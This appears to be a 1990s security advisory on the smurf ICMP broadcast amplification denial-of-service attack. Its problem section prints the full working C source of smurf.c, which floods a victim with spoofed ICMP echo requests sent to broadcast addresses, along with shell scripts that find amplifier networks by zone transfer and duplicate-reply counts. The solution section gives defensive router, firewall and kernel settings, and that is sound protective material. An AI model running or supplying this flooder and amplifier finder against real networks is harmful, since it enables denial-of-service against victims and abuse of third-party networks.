COMMAND

    smurf attack

SYSTEMS AFFECTED

    All systems?

PROBLEM

    T. Freak found following.  It's about `smurf' multi-broadcast icmp
    attack.  The `smurf'attack is  quite simple.  The "smurf"  attack,
    named  after  its  exploit  program,  is  the  most  recent in the
    category of  network-level attacks  against hosts.   A perpetrator
    sends a  large amount  of ICMP  echo (ping)  traffic at  broadcast
    addresses, all of it having a spoofed source address of a  victim.
    If  the  routing  device  delivering  traffic  to  those broadcast
    addresses performs the IP broadcast to layer 2 broadcast  function
    noted below,  most hosts  on that  IP network  will take  the ICMP
    echo request and reply to it with an echo reply each,  multiplying
    the traffic by the number of hosts responding.  On a  multi-access
    broadcast network, there could potentially be hundreds of machines
    to reply to each packet.

    Here is Tfreaks code (see smurf #1) ported to FreeBSD and whatever
    other operating systems use BSD style sockets (by Griffin):

    /*
     *
     * $Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $
     *
     * spoofs icmp packets from a host to various broadcast  addresses
     * resulting  in  multiple  replies  to  that  host from a  single
     * packet.
     *
     * orginial linux code by tfreak, most props to him, all I did was
     * port it  to operating systems  with a less  perverse networking
     * system, such as FreeBSD, and many others.  -Griffin
     *
     * disclaimer:
     *   I cannot and  will not be held responsible nor  legally bound
     *   for the  malicious activities  of individuals  who come  into
     *   possession  of this program and  I refuse to provide  help or
     *   support of any kind and do NOT condone use of this program to
     *   deny  service  to  anyone   or  any  machine.   This  is  for
     *   educational use only.  Please Don't abuse this.
     *
     */

    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    #include <ctype.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    #include <string.h>

    void            banner(void);
    void            usage(char *);
    void            smurf(int, struct sockaddr_in, u_long, int);
    void            ctrlc(int);
    unsigned int    host2ip(char *hostname);
    unsigned short  in_chksum(u_short *, int);

    unsigned int
    host2ip(char *hostname)
    {
            static struct in_addr i;
            struct hostent *h;
            i.s_addr = inet_addr(hostname);
            if (i.s_addr == -1) {
                    h = gethostbyname(hostname);
                    if (h == NULL) {
                            fprintf(stderr, "can't find %s\n.", hostname);
                            exit(0);
                    }
                    bcopy(h->h_addr, (char *) &i.s_addr, h->h_length);
            }
            return i.s_addr;
    }


    /* stamp */
    char            id[] = "$Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $";

    int
    main(int argc, char *argv[])
    {
            struct sockaddr_in sin;
            FILE           *bcastfile;
            int             i, sock, bcast, delay, num, pktsize, cycle = 0,
                            x;
            char            buf[32], **bcastaddr = malloc(8192);

            banner();
            signal(SIGINT, ctrlc);

            if (argc < 6)
                    usage(argv[0]);


            sin.sin_addr.s_addr = host2ip(argv[1]);
            sin.sin_family = AF_INET;


            num = atoi(argv[3]);
            delay = atoi(argv[4]);
            pktsize = atoi(argv[5]);

            if ((bcastfile = fopen(argv[2], "r")) == NULL) {
                    perror("opening bcast file");
                    exit(-1);
            }
            x = 0;
            while (!feof(bcastfile)) {
                    fgets(buf, 32, bcastfile);
                    if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0]))
                            continue;
                    for (i = 0; i < strlen(buf); i++)
                            if (buf[i] == '\n')
                                    buf[i] = '\0';
                    bcastaddr[x] = malloc(32);
                    strcpy(bcastaddr[x], buf);
                    x++;
            }
            bcastaddr[x] = 0x0;
            fclose(bcastfile);

            if (x == 0) {
                    fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
                    exit(-1);
            }
            if (pktsize > 1024) {
                    fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
                    exit(-1);
            }
            if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                    perror("getting socket");
                    exit(-1);
            }
            setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *) &bcast, sizeof(bcast));

            printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

            for (i = 0; i < num || !num; i++) {
                    if (!(i % 25)) {
                            printf(".");
                            fflush(stdout);
                    }
                    smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
                    cycle++;
                    if (bcastaddr[cycle] == 0x0)
                            cycle = 0;
                    usleep(delay);
            }
            puts("\n\n");
            return 0;
    }

    void
    banner(void)
    {
            puts("\nsmurf.c v5.0 by TFreak, ported by Griffin\n");
    }

    void
    usage(char *prog)
    {
            fprintf(stderr, "usage: %s <target> <bcast file> "
                    "<num packets> <packet delay> <packet size>\n\n"
                    "target        = address to hit\n"
                    "bcast file    = file to read broadcast addresses from\n"
                    "num packets   = number of packets to send (0 = flood)\n"
                    "packet delay  = wait between each packet (in ms)\n"
                    "packet size   = size of packet (< 1024)\n\n", prog);
            exit(-1);
    }

    void
    smurf(int sock, struct sockaddr_in sin, u_long dest, int psize)
    {
            struct ip      *ip;
            struct icmp    *icmp;
            char           *packet;
            int             hincl = 1;

            packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize);
            ip = (struct ip *) packet;
            icmp = (struct icmp *) (packet + sizeof(struct ip));

            memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize);
            setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl));
            ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize;
            ip->ip_hl = sizeof *ip >> 2;
            ip->ip_v = 4;
            ip->ip_ttl = 255;
            ip->ip_tos = 0;
            ip->ip_off = 0;
            ip->ip_id = htons(getpid());
            ip->ip_p = 1;
            ip->ip_src.s_addr = sin.sin_addr.s_addr;
            ip->ip_dst.s_addr = dest;
            ip->ip_sum = 0;
            icmp->icmp_type = 8;
            icmp->icmp_code = 0;
            icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

            sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize,
                   0, (struct sockaddr *) & sin, sizeof(struct sockaddr));

            free(packet);           /* free willy! */
    }

    void
    ctrlc(int ignored)
    {
            puts("\nDone!\n");
            exit(1);
    }

    unsigned short
    in_chksum(u_short * addr, int len)
    {
            register int    nleft = len;
            register int    sum = 0;
            u_short         answer = 0;

            while (nleft > 1) {
                    sum += *addr++;
                    nleft -= 2;
            }

            if (nleft == 1) {
                    *(u_char *) (&answer) = *(u_char *) addr;
                    sum += answer;
            }
            sum = (sum >> 16) + (sum + 0xffff);
            sum += (sum >> 16);
            answer = ~sum;
            return (answer);
    }

    Hyped added  following programs  as help  to previous.   Note that
    this script has two parts.

    --- bips.sh ---

    #!/bin/bash
    # find broadcast ip's that reply with 30+ dupes.

    # i decided  to make this  script into two  sections. when running
    # this make sure both parts are in the same directory.

    if [ $# != 1 ]; then
    echo "$0 <domain - ie: college.edu>"
    else
    host -l $1 | grep 'has address' | cut -d' ' -f4 > $1.ips
    cat $1.ips | cut -d'.' -f1-3 | sort |\
    awk '{ print echo ""$1".255" }' > $1.tmp
    cat $1.tmp | uniq | awk '{ print "./chekdup.sh "$1"" }' > $1.ping
    rm -f $1.ips $1.tmp
    chmod 700 $1.ping
    ./$1.ping
    rm $1.ping
    fi

    --- chekdup.sh ---

    #!/bin/bash
    # this checks possible broadcast  ip's for a given amount  of icmp
    # echo replies.

    ping -c 2 $1 > $1.out
    if
    cat $1.out | grep dupl > /dev/null
    then
    export DUPES="`cat $1.out | grep dupl | cut -d'+' -f2 | cut -d' ' -f1`"
    else
    export DUPES=1
    fi
    if [ $DUPES -gt 30 ]; then
    echo "$1 had $DUPES dupes" >> bips.results
    rm -f $1.out
    else
    rm -f $1.out
    fi

SOLUTION

    See:

        http://www.quadrunner.com/~chuegen/smurf.txt

    for the information on how to protect your network, as well as how
    to prevent _helping_ those who are launching the attacks.

    MCI is currently working on a patch or dectector of some kind  for
    it, which is available at:

        http://www.internetnews.com/isp-news/1997/10/0901-mci.html

    See:

        http://www.security.mci.net/dostracker/

    for more details.  It's a perl script which will log into a series
    of Cisco routers and track an attack interface-by-interface to the
    edge of the network.

    Jon Lewis posted how to fix that under Linux.  You can  accomplish
    that with ipfwadm:

        ipfwadm -I -a deny -P icmp -D 123.123.123.0 -S 0/0 0 8
        ipfwadm -I -a deny -P icmp -D 123.123.123.255 -S 0/0 0 8

    Replace 123.123.123.0 and 123.123.123.255 with the actual  network
    and broadcast addresses for your lan.

    Brad Powell posted same thing for  Sun.  Below is a shell   script
    that is part of titan a tool suite that fixes many of these common
    problems in/for Solaris (only/mostly).

    #!/bin/sh

    # bpowell 06/21/97  script to add the ndd line to disable response to echo
    # modifies S69inet
    #
    # Note
    ###
    # This tool suite was written by and is copyright Brad Powell 1991,
    # 1992, 1993, 1994, 1995, and 1996, with help and input from Casper Dik,
    # Alec Muffett, Dan Farmer, and Matt Archibald.
    #
    # The copyright holder disclaims all responsibility or liability with
    # respect to its usage or its effect upon hardware or computer
    # systems, and maintains copyright as set out in the "LICENCE"
    # document which accompanies distribution.
    #
    # Titan version 0.1
    #
    # setup
    PATH=/usr/ucb:/bin:/usr/bin:/sbin
    MYNAME=`basename $0`

    # Check for execution by root

	if [ `/usr/xpg4/bin/id -un` != root ]
	then
	    echo " "
	    echo >&2 "$MYNAME: error: must be run as root."
	    echo " "
	    exit 1
	fi


    #   Introduction

    # cat << EOF
    #
    # This disables ip_respond_to_echo_broadcast so that specific ping crashes
    # don't work
    # The program modifies /etc/rc2.d/S69inet
    #
    # ndd -set /dev/ip ip_respond_to_echo_broadcast 0
    # EOF

    # echo press enter to continue"\c"
    # read YN

    if test -f /etc/rc2.d/S??inet
    then
		    echo "  Now adding the new ndd command"

		    ed - /etc/rc2.d/S??inet <<- !
		    g/tcp_old_urp_interpretation
		    a
		    ndd -set /dev/ip ip_respond_to_echo_broadcast 0
		    .
		    w
		    Q
		    !

	    echo "   Modifcations to rc2.d complete"
    fi
	    echo "   Done."

    On AIX the "no" command is  used to turn this feature on  and off.
    By default AIX will not respond to pings to the brodcast  address.
    This  works  only  for  AIX4.   Aix  3  variants will respond to a
    broadcast ping, and the 'no'  command (for AIX3) does not  support
    the 'bcastping' directive.  For a startup script, the 'no'  syntax
    for AIX4 is:

        no -o bcastping=0         # disable bcast ping responses (default)
        no -o bcastping=1         # enable bcast ping responses

    Cray Research - A  Silicon Graphics Company with  current versions
    of Unicos  and Unicos/mk  do not  have the  ability to reject ICMP
    requests  send  to  broadcast  addresses.   They are tracking this
    problem through SPR 709733.

    Cisco  recommends   the  following   configuration  settings    as
    protection against being used as an intermediary in smurf attacks:

        1. Disabling IP directed broadcast for all interfaces on which
           it is not needed. This must  be done on all routers in  the
           network, not just on the border routers. The command "no ip
           directed-broadcast" should be applied to each interface  on
           which directed broadcasts are to be disabled.  Very few  IP
           applications actually need to use directed broadcasts,  and
           it's extremely rare for such an application to be in use in
           a   network   without   the   knowledge   of   the  network
           administrator.  Nonetheless,  as when any  functionality is
           disabled, you should be  alert for possible problems.  This
           is the preferred solution for most networks.

           2. If your network  configuration is simple enough  for you
              to  create  and  maintain  a  list  of  all the directed
              broadcast addresses in your  network, and if you  have a
              well-defined perimeter separating your own network  from
              potentially hostile  networks, consider  using a  filter
              at  the  perimeter  to  prevent directed broadcasts from
              entering  the  network.   For  example,  if your network
              number is  172.16.0.0, and  you uniformly  use a  subnet
              mask of 255.255.255.0, then you might use a Cisco access
              list entry like:

        access-list 101 deny ip 0.0.0.0 255.255.255.255 172.16.0.255 0.0.255.0

              Note  that  this  is  not  a  complete access list; it's
              simply a single entry.  See the Cisco documentation  for
              more information on  configuring access lists.  The best
              place to apply such a filter is usually on the  incoming
              side  of  each  router  interface  that  connects to the
              potentially hostile network.

    FreeBSD patched their release.  Patch:

    Index: ip_icmp.c
    ===================================================================
    RCS file: /home/ncvs/src/sys/netinet/ip_icmp.c,v
    retrieving revision 1.29
    retrieving revision 1.30
    diff -c -r1.29 -r1.30
    *** ip_icmp.c   1997/08/25 16:29:27     1.29
    --- ip_icmp.c   1998/05/26 11:34:30     1.30
    ***************
    *** 375,382 ****

	    case ICMP_ECHO:
		    if (!icmpbmcastecho
    !                   && (m->m_flags & (M_MCAST | M_BCAST)) != 0
    !                   && IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) {
			    icmpstat.icps_bmcastecho++;
			    break;
		    }
    --- 375,381 ----

	    case ICMP_ECHO:
		    if (!icmpbmcastecho
    !                   && (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
			    icmpstat.icps_bmcastecho++;
			    break;
		    }
    ***************
    *** 385,392 ****

	    case ICMP_TSTAMP:
		    if (!icmpbmcastecho
    !                   && (m->m_flags & (M_MCAST | M_BCAST)) != 0
    !                   && IN_MULTICAST(ntohl(ip->ip_dst.s_addr))) {
			    icmpstat.icps_bmcasttstamp++;
			    break;
		    }
    --- 384,390 ----

	    case ICMP_TSTAMP:
		    if (!icmpbmcastecho
    !                   && (m->m_flags & (M_MCAST | M_BCAST)) != 0) {
			    icmpstat.icps_bmcasttstamp++;
			    break;
		    }

    Under NetBSD you can disable directed broadcast with this command,
    as root:

        # sysctl -w net.inet.ip.directed-broadcast=0

    There's also SmurfLog available.   The latest version of  SmurfLog
    can be found at

        http://www.sy.net/security